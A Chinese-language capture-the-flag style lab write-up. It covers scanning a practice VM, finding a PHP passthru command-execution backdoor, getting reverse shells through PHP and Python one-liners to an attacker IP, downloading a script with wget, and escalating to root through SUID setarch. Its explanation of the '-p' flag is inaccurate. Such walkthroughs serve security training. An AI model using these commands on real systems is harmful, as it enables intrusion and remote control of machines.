靶机练习6
靶机6
信息收集
先nmap扫描58网段发现目标主机192.168.58.139开放22和80端口

再详细扫描一下,多了一个mysql的33060和一个http 的7755

再dirsearch对两个网站扫描一下敏感目录,发现了两网站都有backup


把两个网站都打开看一下,发现是7755的能打开,


发现一个明显的command文件,点开看看一片空白,不代表没东西,f12看看,发现有php的危险函数passthru 这里的意思是我们可以以get的形式传参backup来执行命令

先执行个系统命令看看有没有用,发现有用

因为可以执行系统命令了,接下来就可以考虑可不可以反弹shell
利用php来反弹命令:php -r '$sock=fsockopen("10.16.0.78",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
kali开启监听

在kali的tmp命令下写个脚本ky.sh并开启http服务


使用命令wget http:10.16.0.78/ky.sh -O /tmp/ky.sh下载到靶机上
再用命令chmod 777 /tmp/ky.sh给个权限


看下下到了没

运行一下脚本,(不知道为什么我这死活连不上)
用python进行反弹shell 命令python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.16.0.78",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
成功登陆shell,接下来进行提权


发现一个/usr/bin/passwd的文件,先进入/usr/bin里面去看看

在/usr/bin里面找到一个命令setarch
命令的作用
setarch:用于设置程序执行的架构环境,可以让程序在特定的架构下运行,比如在 64 位系统中运行 32 位程序等。
$(arch):是一个命令替代语法,arch 命令用于打印系统的硬件架构,$(arch) 会先执行 arch 命令,并将它的输出插入到这个位置,从而动态地根据系统的实际架构来确定要使用的 shell 的路径。
/bin/sh:是 Linux 系统中的一个标准 shell,用于执行用户的命令。
-p:用于告诉 shell 以受限的特权模式运行,在这种模式下,shell 不会执行用户的启动文件,也不会处理一些特殊的变量设置,确保在一个更干净、更安全的环境中运行 shell
接下来进入公共目录/tmp下用命令setarch $(arch)/bin/sh -p 进行提权,提权成功

进入root家目录,找到文件proof.txt
